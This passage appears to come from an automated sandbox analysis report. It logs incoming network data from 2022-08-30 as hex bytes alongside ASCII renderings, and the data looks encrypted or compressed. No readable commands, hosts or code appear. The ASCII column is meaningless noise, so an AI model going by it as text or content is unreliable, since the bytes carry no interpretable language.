2d 17 47 47 44 4e a5 6a 2c f6 3b a6 e8 49 4a fc b6 ab 57 4b a4 d0 fc cf 80 63 87 ca 36 34 d4 4b 81 4b 82 9d 51 3f 00 Data Ascii: =.~75$oQSiO6o]ox0fhj/u~&j}bttg'{O:1_/KY4#8afSh__+ry ^I!kG,z6>&d8b,]]L)ED kSb jl-GGDNj,;IJWKc64KKQ?
2022-08-30 13:54:59 UTC	32	IN	Data Raw: 3c da 96 69 26 4e 4a ac 6d 7d 27 98 8b bf f9 62 6b 48 c4 7b 55 4b e7 f8 37 e8 55 c4 2d f7 2c e1 4e 16 a5 38 0d 51 db de b1 29 a5 d3 85 f5 2f ed 19 81 fb f8 56 4e a3 7e 73 7a 74 2c 23 e4 2a ae 59 8f 5e 45 ab fd 0d 5f 75 78 64 64 45 4f ad a8 92 1d 05 48 b5 5f 41 8b aa c5 6c 62 24 77 a2 76 5a 53 6a 3c 31 23 2d 79 34 da 57 91 8a 52 87 e2 a1 89 c7 a5 fb b4 16 1f e0 7f 4b 96 11 57 1b f9 4a c6 a7 5e 24 b8 6b 43 8d c0 c7 8a 5c 34 86 ad 20 6e 2b 33 fc 8d 65 28 81 f2 5d 9c 97 99 31 eb 79 42 d0 44 a1 ef 69 69 24 be f2 a4 ad ad 85 66 cb 50 9c 1e 33 b7 18 55 10 e3 8d 4e 6d 68 c3 16 89 95 86 4d 8f 04 2d ed 5c c5 b1 ca 62 00 cf c1 ab 2b 87 65 8a e5 23 61 0c 00 36 76 1c 1b 61 a1 8c b4 a6 59 7d 10 82 cc 28 ac 23 d5 08 53 ae 44 cc ed 65 a4 b5 4b 9a 61 2d dc a9 a2 91 a0 ec Data Ascii: <i&NJm}'bkH{UK7U-,N8Q)/VN~szt,#*Y^E_uxddEOH_Alb$wvZSj<1#-y4WRKWJ^$kC\4 n+3e(]1yBDii$fP3UNmhM-\b+e#a6vaY}(#SDeKa-
2022-08-30 13:54:59 UTC	33	IN	Data Raw: d6 13 e3 55 50 7a b8 6a 94 90 e3 e3 92 d1 29 7e b7 50 d9 23 5a ef d4 2d 65 f9 4e 9b dd f6 09 2a d3 06 f9 9c 2c a6 26 fe f5 f7 59 b1 ec ff 79 62 2a a5 1d 79 12 b9 ab c2 ae 8f 9d 6a 65 84 34 39 c3 64 ff c9 20 e2 6f df de 63 22 3a 0a 92 f7 b7 a9 2e 96 fa 06 e8 a2 d2 0a cb 5c 7a f8 d5 5d 65 88 be 53 65 50 92 41 1a e1 b1 24 a5 e5 9f 51 af 6e e1 52 19 a5 62 af e1 b9 ae ec fb e7 2a 7e 10 df c5 88 1c 09 da b9 ce 24 12 7a 99 4a 40 a1 ff 61 9f 15 5b 4f b4 71 b4 21 30 7e 96 89 3b d5 c3 77 2d 25 cb ce a2 16 17 4e 04 b1 b5 25 c7 3e 12 ee 23 42 d3 0e f5 cb 6a aa 67 a7 e1 92 3b 54 38 e9 bb 2d d7 e2 47 32 86 ef c6 57 06 27 e1 2e ed 33 6e 31 11 5c 1d 4f 75 44 f2 5d 67 2d 5e f6 90 af 77 23 e9 50 c0 79 c1 82 9b bf d0 72 e9 60 54 98 e9 14 f4 08 28 20 a4 8b 9c 38 be 1a b2 ac Data Ascii: UPzj)~P#Z-eN,&Yybyje49d oc":.\z]eSePA$QnRb*~$zJ@a[Oq!0~;w-%N%>#Bjg;T8-G2W'.3n1\OuD]g-^w#Pyr`T( 8
2022-08-30 13:54:59 UTC	35	IN	Data Raw: 8f 2e a7 6a 2c a0 e2 6d a5 50 5a a3 ac e9 b0 3a 77 38 66 28 4e 79 9c bd 0c fd c7 ac e6 ed 60 26 be 4b 16 ae 1e 1d dd 92 a6 18 ac 98 69 23 98 8b fe e1 d3 06 eb 70 ea 98 dd 27 61 9d a1 10 69 d7 6c 90 61 65 10 1d 4c b3 33 37 54 d1 d4 51 17 9c 26 1d 71 c3 d0 e9 60 a5 26 a6 1a 02 bc ee a8 53 d1 2d 24 a6 e4 61 ef 2d e8 2d 9c 8b 76 a8 eb 98 d8 42 02 ac 13 96 6c 29 ed ab 50 6e 7f 8b 56 a0 59 26 e4 a4 ea 84 32 93 2d 10 23 19 74 ff a7 6a f1 47 e8 06 ef 4f fa 54 db 40 25 2a 73 ba a3 10 da 5f e8 e0 d9 3e bf 1e d4 20 52 d5 c7 ca 74 6e 18 78 4d 78 a5 2a e4 69 94 90 ed 2d 6f 55 62 fa 01 91 d0 3e b9 1f 90 ae ff 71 57 59 a8 d2 d6 21 2e ee ac b5 f3 ab 6a e3 f0 cc f1 c3 60 a6 e6 bb 32 26 1a 09 e1 fb 60 6d 2c a5 22 bf b0 aa 34 b7 ca 8e 99 00 1f 34 d1 ba 37 e5 e9 2e b2 3f ee Data Ascii: .j,mPZ:w8f(Ny`&Ki#p'ailaeL37TQ&q`&S-$a--vBl)PnVY&2-#tjGOT@%s_> RtnxMxi-oUb>qWY!.j`2&`m,"447.?
2022-08-30 13:54:59 UTC	36	IN	Data Raw: 3d f1 5a 74 96 d6 11 a6 ee 30 1b ce 65 71 fa c1 14 3a 2a db 91 b7 0b f1 78 97 67 98 58 a0 cd 12 ff a6 ea 2e a5 e9 04 60 d3 ae 7a a6 e3 68 20 20 27 3e 6b 3a 29 70 57 cd 02 30 6a 47 d5 87 e6 47 c4 65 a2 1f c5 8c 08 d9 06 60 69 77 ca 09 23 0f 80 6e d6 d1 1c c7 79 65 ad a1 7d fe f7 41 45 fe b2 f0 b7 66 e5 6b 0d b3 19 e0 aa f6 3f 2c 8a c8 e7 42 22 87 e5 3c 96 ca 07 13 72 ec c0 0e 22 57 df b2 49 51 8f e8 55 fb 7a 7b ac 85 7d 62 4f 54 c1 d4 a2 e7 64 b1 00 89 66 86 3c 79 56 a2 27 a5 e5 28 52 e5 5b 43 3a 06 dc 83 7b 0c cf 0e 07 bf 9a a6 38 34 88 8d 67 c8 40 e5 02 cc e6 a7 0b 0b 2b 2f e9 18 8e f6 3b 86 21 1f 11 25 65 96 16 60 77 45 82 16 b6 03 54 Data Ascii: =Zt0eq:*xgX.`zh '>k:)pW0jGGe`iw#nye}AEfk?,B"<r"WIQUz{}bOTdf<yV'(R[C:{84g@+/;!%e`wET
2022-08-30 13:54:59 UTC	36	IN	Data Raw: bc fe bc 19 d2 62 60 2a 18 0b db c8 21 b8 9b 72 d6 39 a0 c2 cd 1c 40 ae 13 00 ee d5 a6 07 b1 fa 55 a7 97 e3 82 0c 60 6b a6 58 1e 02 1f f2 6c 0a cf 42 8f fb 76 d5 4d 53 ca cb 49 ef d4 1b 9b 3b 13 3e 28 63 a0 5e 12 57 ae 55 2e e7 1c d2 cf 87 62 2e 22 6e fb bf 50 a1 14 c1 c6 d7 d6 72 c2 ca f5 e1 ab ad 5d 63 14 69 2f 66 9e a7 d6 2b f6 7e 2a 66 e2 28 25 62 26 66 20 ac e1 e8 5f 19 65 2f fa b2 6a ab ea 62 67 e3 a3 2b 3b 3a 4f e4 de 05 87 4a c4 f4 af ee a2 be 46 1b 86 4a f0 f1 2e 2b c0 68 a1 2c 8d a5 80 28 07 28 5a 80 a6 cf 1e ef 9b db 27 d1 5d d8 d8 0c 8f 79 86 02 7d a8 96 5a 5e 9d b8 ff e3 b8 40 9d 94 55 b9 7f 9d 44 b6 3a f1 62 b9 7b e3 10 89 f9 e2 8c 78 80 95 6c 83 7f b2 bf 6f 72 f7 4e d1 e5 2e 1e e9 04 1f b6 10 cd a7 4f d5 1b 2e af 7c 1d 4b b6 78 c7 8f fa 36 Data Ascii: b`!r9@U`kXlBvMSI;>(c^WU.b."nPr]ci/f+~f(%b&f _e/jbg+;:OJFJ.+h,((Z']y}Z^@UD:b{xlorN.O.\|Kx6
2022-08-30 13:54:59 UTC	38	IN	Data Raw: 17 f8 d4 5c 7a bf ed 64 6b 31 0c 48 9b d7 81 dd 68 f4 1d d0 17 d6 ed f5 3a 73 cb de ef 58 e1 fb c9 59 17 e0 e4 66 85 4c ed e2 a4 e8 4b 51 fa 58 e3 d5 e5 7a c0 a4 a3 91 e1 62 dc b7 a2 78 6a a7 95 24 2d 6b ef 5c 0c 34 06 60 43 d3 fa c4 99 91 ad 56 0f 41 d5 5e af 19 a1 3d 85 7e fa 0a 8e 64 8b 32 72 7d fa 92 ba b7 54 e5 35 4d ca 20 19 94 49 2c 29 c0 ea 5a d3 59 b7 07 88 7e 55 ab 34 90 31 65 17 eb d7 8f 26 e0 6b 99 82 a7 c7 e0 02 f3 38 f5 54 2f 8a e7 7b 09 80 9a c3 67 76 02 11 db 6a 2c 28 13 d0 9f 2f 1e c0 a1 69 0b e0 2a f3 66 f5 cf c2 4d 43 3b c9 c4 8e 28 71 8e 0e 06 2e 3e 7d 9e 21 13 59 c4 c8 a4 0d 9a 6e 73 27 a3 9b 71 8f a8 a1 62 0d ce 64 a7 8f 76 e1 95 0f 4a 2e f7 12 c7 60 a5 6a 07 c0 45 06 5f 6c fe 00 36 e1 9c 06 c3 00 81 81 63 49 96 9b 35 30 0f 9b 5d 19 Data Ascii: \zdk1Hh:sXYfLKQXzbxj$-k\4`CVA^=~d2r}T5M I,)ZY~U41e&k8T/{gvj,(/i*fMC;(q.>}!Yns'qbdvJ.`jE_l6cI50]
2022-08-30 13:54:59 UTC	39	IN	Data Raw: 85 6c f4 0d 97 70 b8 4e 84 ab 8b e2 e5 aa 43 3c b3 69 b0 6f d2 8b 76 f2 67 f7 3e c7 40 13 ef f5 1a c8 58 84 2a 92 8b 82 57 e0 ee 99 a5 f8 ce 64 be 55 46 a5 19 07 37 d6 4e e2 0e 22 d7 5f b2 49 51 bf 1c 31 6d 89 f3 c7 d2 97 58 84 a6 b3 dc 5b f5 13 a7 6a 2a a2 4a 92 7a 62 a0 70 2f 0a bf 6a 2f 8e b3 1a dd 70 93 1a e7 7e 34 2d 6f eb 2e eb b2 ba e6 58 62 cc 9f 1b 2e fb a4 68 f1 0f 96 38 9f f2 1b 16 17 15 4d fb f3 3c 01 d7 bf 0c 01 7f dd 10 f7 6a 2a 62 b6 3e 65 af d7 8f f5 0b af 23 82 cf 27 76 1b 64 9c 8e f2 cd 34 fb 06 69 2f dc e6 72 c0 cd 63 09 84 2c 51 bc 62 54 4b 38 b4 0f 92 49 ae 00 2a 62 ae e6 a3 e7 fa 23 b2 b2 f7 3a 27 1c 07 5c 90 3c ee 69 2d fa 37 ff 64 5f 54 0b c4 69 f7 c5 5d 4b 86 03 09 ac d6 39 eb 04 2e ed 28 8c c7 6d 23 e9 80 af 42 7e 73 51 ed 1e 62 Data Ascii: lpNC<iovg>@XWdUF7N"_IQ1mX[jJzbp/j/p~4-o.Xb.h8M<jb>e#'vd4i/rc,QbTK8Ib#:'\<i-7d_Ti]K9.(m#B~sQb
2022-08-30 13:54:59 UTC	40	IN	Data Raw: d8 3c 2a a2 0b d0 a4 d2 6b bc 5d 63 a6 cb 07 60 2f 2d 6f 4d 8c ac 31 b7 2e 5d c4 69 1c c6 ec 87 44 4a 8a 4f bb de 3a f5 24 94 49 0f f0 19 7d ae ec 6e 2a a2 0a e8 f2 3f dc 2b d7 a2 bf b7 75 6a 59 49 c8 db 7b 79 59 4f ce 87 c8 f3 b6 66 26 78 f3 10 5c a2 c4 3f 11 64 38 73 66 a8 28 a2 05 e7 cc 3b 31 8c c2 c8 e3 21 f1 94 eb 8e 06 fb 88 62 a7 55 e3 2d c3 87 69 e3 2e 49 02 a4 ab 99 15 07 2b 08 a5 6a ae eb 1b d5 31 33 49 39 d5 d2 1d e3 1a 77 fa 68 a7 ae 6f 96 ec aa e8 a3 cb 0c 24 36 33 81 0f 6a 24 29 4f 4d b7 75 2c e9 2f d1 96 15 c3 f8 e4 ae 22 73 3e 29 4f c0 9d 52 d1 14 26 d7 93 e3 2e 66 42 44 e9 9f d1 e9 2e 6f a0 1e 98 a2 5c 16 a3 ad 4c 01 c8 42 8f c2 26 4f 83 79 b4 1f d2 7d 3b ae c4 c3 eb d7 e3 5a cf b2 fe 87 b3 92 5e 98 c5 a9 9b 36 7a 45 fc a6 c0 0a eb 66 be Data Ascii: <k]c`/-oM1.]iDJO:$I}n?+ujYI{yYOf&x\?d8sf(;1!bU-i.I+j13I9who$63j$)OMu,/"s>)OR&.fBD.o\LB&Oy};Z^6zEf
2022-08-30 13:54:59 UTC	42	IN	Data Raw: ee e4 4d c4 26 ea 68 63 eb f3 28 24 b9 f3 3d d4 1a 60 eb b9 33 77 bb c1 85 68 70 f4 74 f0 ac 79 64 91 03 7e fa 8f d4 77 6a d1 95 68 54 56 a5 9d 9f 2a e8 a1 0a 46 3b 9d 04 64 2b a7 64 af ea 87 43 ae e3 a8 60 bb fa 2f 6b a8 7c 67 3a 58 80 5a 02 77 26 32 65 30 c1 ec 9c 21 83 4c 05 47 6e 22 69 bd 3e 66 83 85 a9 ae 4a 87 3b 7b 69 51 42 f0 aa e6 fa c5 af 11 3c f7 0f f3 4b 3b 69 9d cd f5 25 8b 49 61 ec b7 3e a2 ad 21 4a 84 22 c7 00 60 2c d5 27 89 e8 4c 53 d3 21 a7 52 e6 94 ae 11 3d f9 6c 65 e6 90 4f fe cd 08 4f 82 1b de cf ea f7 b0 57 95 0d bd b5 d8 06 3b b8 f7 61 7e be 83 46 ab 6c 31 f7 e1 8f 97 91 02 a2 2f e7 ea cf b5 12 17 22 ef cb f9 8a d7 Data Ascii: M&hc($=`3whptyd~wjhTV*F;d+dC`/k\|g:XZw&2e0!LGn"i>fJ;{iQB<K;i%Ia>!J"`,'LS!R=leOOW;a~Fl1/"
2022-08-30 13:54:59 UTC	42	IN	Data Raw: 37 cf 2a 30 d5 fb 8c 29 1e a9 5b 41 f0 ae 67 4c 9a 02 d3 6f 4a 68 61 47 a6 e7 a5 ec 4f 8c 48 fd 78 c6 c1 08 50 22 02 f8 27 6f 4a fb ce 7d 2b 66 98 c3 a6 76 28 2d 6b 12 a4 28 c6 d2 af bc 65 9f a6 ad 42 49 c7 03 2f 91 50 21 e7 fc b8 a5 66 ad e7 15 cf f8 28 74 34 52 7f 89 35 fb 24 56 64 a7 19 69 df 15 4c 8f 22 ea 4f 72 5d 60 82 df 31 f8 43 18 4d 47 f2 fc 2a 66 52 88 97 ca 2c fc 3b 77 cb 9f a2 0d 13 d8 a6 0a d1 97 ab 61 4b 0b a1 6c c9 01 2e 68 5a 0e 43 9f a0 6a 2c cb 0a de 8c 06 02 d2 3a de fe f8 63 07 fd 82 4b 3c 06 66 21 77 90 80 e6 2b 9e 90 f5 6b 1e aa ff 1c 69 65 27 55 1d a0 e8 51 b9 08 55 99 9f c2 36 e1 6b 0d a3 af 45 d8 10 72 7e 3b 36 5c e5 29 e8 d6 87 9b 4b 14 a2 fc 8e a4 c5 fc 4d 10 37 4d 94 8d 7b ad fa 9c e4 fc 40 6c a4 10 c1 8e fb b4 ff 24 57 c9 8d Data Ascii: 70)[AgLoJhaGOHxP"'oJ}+fv(-k(eBI/P!f(t4R5$VdiL"Or]`1CMGfR,;waKl.hZCj,:cK<f!w+kie'UQU6kEr~;6\)KM7M{@l$W
2022-08-30 13:54:59 UTC	43	IN	Data Raw: 1d 3f 56 7f 60 d1 da e9 23 9d 61 91 57 92 36 bd 26 98 81 bc a0 9d 64 c3 25 f9 e1 61 db 68 94 82 4d 32 71 65 cb 81 6e 2c a4 ea 62 bf 7a 2e 0a 6f b6 df a2 16 f4 c8 8f 6e f3 e3 d2 03 92 57 92 ff 2f 1a d2 f4 23 bd cb 2e dc 3f 6a a6 57 cb b7 19 4f 3b a4 e1 7e 57 bd fa 00 cf 02 58 6a a7 ea b2 00 60 aa 01 cb 84 49 60 ea e4 ad 64 2e 21 a8 2b 61 a4 2f 66 0a c7 ad e7 29 45 4d 70 b8 82 40 ce 0a ad 44 80 67 8f 4f 46 82 cb 89 30 1e c2 94 8e dc 86 0b e7 60 dd 7a 2e 64 34 1e c5 97 8e 35 ea 29 38 92 47 e7 9d c1 1b ca 87 4f 9c 52 e0 21 4d 8a 07 45 e9 a2 6d 9e 78 c2 65 18 f6 ea 82 e5 e2 ce c5 c6 8d 6c e8 eb f1 5b 83 a8 26 38 71 a8 26 2b 61 ec 18 bd 96 b0 a4 4a ca d7 dc 2e 80 c2 67 e3 8f d7 7f 57 5c f4 fa 0a ff 9e 65 39 53 c6 63 ee 28 e3 a2 ed 18 52 f0 c5 4d 8b 13 2a a3 7e Data Ascii: ?V`#aW6&d%ahM2qen,bz.onW/#.?jWO;~WXj`I`d.!+a/f)EMp@DgOF0`z.d45)8GOR!MEmxel[&8q&+aJ.gW\e9Sc(RM*~
2022-08-30 13:54:59 UTC	44	IN	Data Raw: dd 9a 2c 24 6c ea 06 39 dc e9 7f 3d 2a b6 d2 5a 3c 27 4a 83 d7 fc 8c e6 26 63 dd 1a ad 4a 5d 7a 9c 92 f7 80 be d3 94 83 75 5c 8b b3 55 dc 31 bb 70 e0 2e 54 14 a6 f2 51 8c 9b 97 55 5b e3 ea 7d 9e 80 1f e2 97 b8 74 af 52 90 55 51 71 b3 eb e1 e4 a4 f2 41 8c b2 60 26 25 9b 95 e1 6b cb f3 8a 1f 76 ad 44 fc 11 4f 92 97 fb a3 3b bb 8a eb d7 33 eb 2d fc 15 99 76 15 2d 0b 38 36 98 1e 5b 0d b4 b9 25 5f 84 39 96 e9 9c 86 d6 7f 07 ca f0 b7 79 33 20 ea 44 88 5d 29 15 69 d5 0d 3b a4 0a 81 06 0f b0 a2 3c 2d 6f 52 91 38 e7 76 72 43 5a 8f 84 e1 e5 f0 22 7c 8c 7a 35 d4 ff 2d 5c d2 b2 30 23 a2 62 f1 e8 3f b0 5c d1 30 8c 56 f9 21 22 e3 1d 54 ae a0 e0 e7 1d b0 f5 11 62 6f 58 e0 36 71 2d ff af b3 35 c9 a5 d9 47 d3 ef 1f 02 7b 04 fa f1 6f f6 30 a1 37 cd 96 eb a4 f6 7e 2c e1 2e Data Ascii: ,$l9=*Z<'J&cJ]zu\U1p.TQU[}tRUQqA`&%kvDO;3-v-86[%_9y3 D])i;<-oR8vrCZ"\|z5-\0#b?\0V!"TboX6q-5G{o07~,.
2022-08-30 13:54:59 UTC	46	IN	Data Raw: 17 86 11 1c 0e 28 6a fa b5 ba 34 6d 4a 8f a6 a7 64 5e 75 43 91 17 a4 a2 26 e9 60 66 ae 02 c2 df 07 f2 8a ce a6 3e 9d 4e 6f 25 7d 11 cf db d4 dc 50 5f b4 80 93 65 91 25 ef 65 96 65 1b 7b df 11 b1 0a 07 36 5e 0a d1 58 50 40 3f 3e 3f 16 76 75 d0 25 e3 79 e3 7b e1 e6 2b 59 ff 6c 8f e0 e3 e2 df d4 10 5a 1d da dd 15 e5 69 a0 18 aa d8 e5 ae ef e2 a8 ab e9 61 c3 03 61 67 23 4e 87 10 9b 3f 7d 2a 52 5d 3c 31 94 d9 6c 28 63 5a fb ce 26 61 e0 8a c2 a3 6e 2a e3 9d 6f 5e a7 2f 70 1b cb 25 3b a3 d5 5b 3e c8 ce f4 93 c7 5d 0a be 2c 66 ef ae f4 6b 61 a9 1c 88 7c 3b 5c 6c d6 e6 54 3d 00 2e f1 a8 1e 50 b7 ad f5 cb 12 aa 62 63 12 6d 2d f3 0b 7e 0f d6 18 e0 22 72 bd 63 58 3b e6 1b c0 3d 1a 87 f7 85 11 6e fa fb 33 6f d8 0b 28 fa 03 59 30 7b 21 aa f7 d1 31 28 98 6b 25 7b f6 05 Data Ascii: (j4mJd^uC&`f>No%}P_e%ee{6^XP@?>?vu%y{+YlZiaag#N?}R]<1l(cZ&ano^/p%;[>],fka\|;\lT=.Pbcm-~"rcX;=n3o(Y0{!1(k%{
2022-08-30 13:54:59 UTC	47	IN	Data Raw: 86 9a 53 f8 36 ab ef 07 40 5c 95 8a 40 fd 36 82 c1 46 d7 97 ca 95 1b 6a f1 d5 6f 83 6c 58 1a 23 e6 0b 93 b9 a7 97 d0 81 c4 7e 9d 59 44 20 73 0d d1 40 2e f7 e6 e0 4c c5 b6 b3 9d 82 bb 28 fe 76 65 c9 59 3f fe 39 a7 e7 f8 b8 f7 b7 af 1b 72 0b e6 3b a4 c6 ed 4e 32 91 4d 4d 15 3a 5f c9 19 be 19 85 09 f1 0f 66 06 e9 c2 03 b7 f1 32 73 af e7 16 d3 fa 12 05 6f ab 84 44 4f 80 2d b4 e9 51 4b 97 08 d9 12 f4 69 2a f5 bb 80 76 3b 3c 20 23 5f 5c 80 03 ee 26 de 71 55 bd 9a 29 b7 1d ac 49 41 62 a5 52 48 b9 41 f4 2d 3f e3 94 0d 1f f9 7d cc a0 42 1d f7 8b 4d f5 6c a0 d5 48 83 81 72 5a b5 57 08 ef f7 a3 ce 82 74 bb 5a 52 f5 e1 67 80 3f c3 67 b7 46 72 aa 93 0f 93 0f ca 9f 19 c8 23 7b 32 08 43 9a 52 b0 79 fc c5 50 ab 24 0d 4e 61 37 be e6 a9 51 dc 92 fb bd c6 6b c9 f2 f3 ab 1a Data Ascii: S6@\@6FjolX#~YD s@.L(veY?9r;N2MM:_f2soDO-QKi*v;< #_\&qU)IAbRHA-?}BMlHrZWtZRg?gFr#{2CRyP$Na7Qk
2022-08-30 13:54:59 UTC	48	IN	Data Raw: d5 8b 46 a7 b9 93 66 4e 5b 6b ff c5 66 cb 02 e7 96 96 db 26 fe 8b ef 4f 55 31 f9 d5 0b e2 7e 3c e1 57 17 65 da 09 fd 67 1a d5 e5 a7 e0 a8 9b 29 7b 4a a9 e9 6b f7 d3 0f eb 67 6b 2c e1 ec 25 20 2d 6b 08 f2 02 f0 3c 19 b3 6b 69 a6 fd cf ee a3 ea 67 32 69 c3 4d 63 7b a7 e5 e5 e4 28 a2 e9 63 2a a3 41 43 60 62 26 26 d7 12 7b c2 5e 72 02 2e 20 64 b5 f1 38 7c e3 f1 cb bc 0f 2e 0c f3 d1 4d c7 1f d3 95 bf a1 22 32 34 08 52 e8 d1 94 a1 87 0a 2c a1 f3 f7 6b d3 1b 7a b7 a3 6b d7 b7 35 2b 11 f8 85 57 e9 e0 aa 26 19 25 34 72 91 d6 e3 db ce 45 aa d6 4e a5 13 67 2b ce aa a1 23 6b cc 7d e0 d2 92 09 d4 d7 0e a5 6b 0e c0 b3 c3 26 a1 ec 21 6c 8e 43 02 89 c9 43 40 4c 86 43 e9 ed 26 67 db 08 89 40 6c 7d 69 ae cf c2 3c d4 0f 7c b0 da eb d0 39 fa 10 2c 5a e2 0b d7 3a 6a a0 e1 3d Data Ascii: FfN[kf&OU1~<Weg){Jkgk,% -k<kig2iMc{(c*AC`b&&{^r. d8\|.M"24R,kzk5+W&%4rENg+#k}k&!lCC@LC&g@l}i<\|9,Z:j=
2022-08-30 13:54:59 UTC	49	IN	Data Raw: a1 d2 1d 7a 6d ec 85 11 b2 26 d1 52 e9 52 88 32 e8 29 12 f2 c3 ee 06 c0 65 27 e3 40 f2 05 a1 d4 6e 89 6b ae cf f2 3c ad c5 30 a6 74 85 ca 85 08 24 3c 7a 94 da e9 e2 4c 7d 83 fc b8 35 aa cc 81 7b 36 cd 76 31 d5 b9 af e7 c6 59 fc 88 ba 4d ff 67 4b 46 e9 c6 c6 e9 e9 97 99 39 7c 85 e0 52 2e f7 6b af 6e 13 f7 cb b1 11 b9 50 8c 16 b6 d2 1d 63 db 70 41 5d 41 99 86 5e 51 89 81 e3 a3 53 1b 26 e3 5e b7 8f 62 a7 41 4b 6c 86 88 8e b1 58 61 26 90 78 f1 74 24 35 5e a7 4a 02 10 57 eb 5b 98 26 e0 19 6d 75 4b 05 04 5e 3e 07 2b 95 9a e7 e9 ef e9 6f d5 5e 6f e7 27 29 e9 5f 9a d8 44 75 a4 1e 64 45 75 b8 f2 97 72 0f 6d 1f 9e e4 6e c5 03 c6 c4 94 96 4e 8e 65 ca c6 6d 53 97 f6 f5 94 80 b0 49 73 f7 c0 8c 42 9b 01 6b a8 cd 4d a7 bf a3 4f 8b 07 2a 47 3a 7f 1d 4d a3 bb aa 2c 9c d6 Data Ascii: zm&RR2)e'@nk<0t$<zL}5{6v1YMgKF9\|R.knPcpA]A^QS&^bAKlXa&xt$5^JW[&muK^>+o^o')_DudEurmnNemSIsBkMO*G:M,
2022-08-30 13:54:59 UTC	53	IN	Data Raw: 7f f2 30 a3 75 f7 22 a0 74 9e 06 ec 67 25 ea bf f3 26 78 3e 61 67 02 06 a7 ec 47 0e d3 a2 3c 56 fa 81 cf e3 87 a4 45 50 98 a7 a9 a0 fe a4 d2 b6 39 0f 2b 64 fc 0e 05 73 9d 75 bb 5f d2 03 2b e2 49 95 3b 20 b5 41 43 73 7a d0 1f d6 4e 6e a6 ed b0 6e e3 2a f1 e6 af b1 6c 94 5c 34 c9 97 e7 b1 46 08 83 ef d7 d6 0f 40 93 c6 bb 1d 79 94 f7 1a df 12 e6 14 e1 13 da 1e 33 d7 c5 55 17 84 42 a9 9c 5b 70 bc f5 35 6f bc 25 1f 88 52 b6 87 4f a4 cd 26 fa 1b c4 25 4e 83 5a 95 4a 85 0d 14 14 1c 6a 38 62 00 49 e6 3e 8f 88 3e 38 82 71 8f 1a e0 7f 85 cd 26 4c 80 64 a9 c5 b9 1e 1e 72 6c 83 92 7f 6e c0 84 34 78 28 4a cf 4c 09 2b e3 e9 67 13 c1 76 91 f3 77 09 fe fd 3e a8 e8 45 f0 a2 6a b3 84 1a 93 d7 65 f3 42 b5 c5 ed ce bb 98 ca ed 43 b1 72 20 b3 eb 0c d4 e3 7e 24 07 8c fe 23 c1 Data Ascii: 0u"tg%&x>agG<VEP9+dsu_+I; ACszNnn*l\4F@y3UB[p5o%RO&%NZJj8bI>>8q&Ldrln4x(JL+gvw>EjeBCr ~$#
2022-08-30 13:54:59 UTC	54	IN	Data Raw: e1 b7 19 f3 8b f4 ee b6 d5 b3 ed 00 58 e2 f4 8d fa 0b 8e dd c7 68 b8 89 4d 5b 03 a6 6a e9 85 0a 18 43 19 d2 70 6d e7 22 87 99 3f 04 8b 6e 8a 83 e7 2b 24 61 ef 63 68 29 19 d1 ac a5 6b f6 7a 29 ef ac ed 6b 9f 09 82 df 6c da 2f 01 fa 29 25 f3 41 e2 c7 fd 32 7f 85 c9 25 61 ec e3 92 43 b6 e9 e4 ad 27 e6 34 6b 3a 6b 52 de 24 8e bb 11 c8 a2 22 c3 ef 2a a2 7f 84 9d ea a7 c7 6e c7 a1 69 23 20 b4 fa e2 1a d4 24 92 5e 1e f2 ca 1d 73 f1 37 94 8e 2e 9c 70 8d 17 5c cf bf 2c 26 cf 6e b4 95 83 00 3e 70 a5 20 e2 66 76 53 c2 ab cf ee 0b 36 1f 80 83 0d be 36 a3 69 a4 62 2c 95 ff 6e 97 f7 6e 3e 93 42 a4 26 e4 6b cc 00 f6 3b 58 e1 f7 6a d3 c5 2e 0c bc 21 55 18 77 f1 ec b2 3c 11 4f 08 5d e9 ec 7a f7 6c b1 92 e7 42 b4 10 ce ff 96 10 39 bf 98 86 74 b8 34 67 fc 6b 64 cd 20 9d 31 Data Ascii: XhM[jCpm"?n+$ach)kz)kl/)%A2%aC'4k:kR$"*ni# $^s7.p\,&n>p fvS66ib,nn>B&k;Xj.!Uw<O]zlB9t4gkd 1
2022-08-30 13:54:59 UTC	58	IN	Data Raw: 01 83 80 32 5a 45 38 b0 79 51 8c 80 b9 76 9b 44 21 cf 1a 5d 40 3e da 9b 5f d3 63 a5 6a b0 72 df 70 2b 8c d2 62 da 42 77 1a c6 bb 66 18 d6 68 37 ea e1 b7 19 4f 27 f9 5b 43 19 3f ca 34 ab 89 54 db 1d 51 81 de 6c 94 de ad ac 59 f5 05 32 8e ec 2e e3 6f a3 05 cf 3a a2 9d 5a b2 de 16 20 3d d3 4f 59 31 16 e7 2d 24 8f 17 3e ce 0b e2 aa 3f 5c d8 59 27 1d e9 19 ae 4b 88 1e fa 61 79 e4 1e 19 23 3b 67 c1 f3 e4 80 f1 0c 6a 82 44 96 a1 f2 3d 97 5e 94 78 be ac a9 7d 8d 51 b2 8a 36 f1 af 6f c0 00 dc 16 5e f9 02 e5 0e a7 6e 8a 97 73 5c ea b1 10 99 06 5b c4 94 82 c8 c9 48 d6 dd 66 9a 5e 82 70 be e4 c3 6f a3 df 12 17 17 12 1c a1 fa 65 66 11 a1 11 f7 9e 01 ae 91 09 ea 0a 29 b7 c2 3c aa 9c f9 94 ff 72 37 21 14 79 0f 16 6a a7 65 51 62 a5 b6 72 4e 83 0e c1 ae 0c 01 a4 78 9b d4 Data Ascii: 2ZE8yQvD!]@>_cjrp+bBwfh7O'[C?4TQlY2.o:Z =OY1-$>?\Y'Kay#;gjD=^x}Q6o^ns\[Hf^poef)<r7!yjeQbrNx
2022-08-30 13:54:59 UTC	63	IN	Data Raw: ca 52 e6 6e 8e c3 e2 13 1f 6b a7 6a e7 25 ec df a9 80 ce 16 f3 bb 32 8c 25 0b 39 e3 41 d0 72 ac ea 96 68 94 82 32 f9 84 a7 7a 3c 04 1f f4 65 71 7d 99 59 8f d1 dc d0 f1 83 86 62 63 f2 b4 2c 86 ca 07 27 04 a5 6a 06 cb af 22 e2 7f 84 9c eb a6 82 f6 08 b2 f5 74 62 20 ef 34 f9 ea 71 b1 7f 93 cc 28 ba f2 db 14 a1 6e a9 dd 6a ee 53 7e 5f 02 8f 31 ab 6a d5 a2 4e c6 0f d0 11 ce b0 15 a7 02 38 a5 08 80 fe 12 d7 2f 3c f1 8f 70 62 9f 66 fe f1 3a 1f 4f 1b 1a a6 e9 e0 8a 9b fb 2c d6 94 62 23 af 33 52 e7 5b bf 69 a5 3d 75 ee 9a 06 9f 23 86 10 5d 15 4d fb 22 aa a6 df 7e 91 7d e5 cf 26 00 53 1c e8 d6 9c 20 a1 fb 78 22 b0 7f 68 8a 2b c9 68 15 31 39 15 b3 f6 0c 96 f2 28 e1 05 9f 3a f1 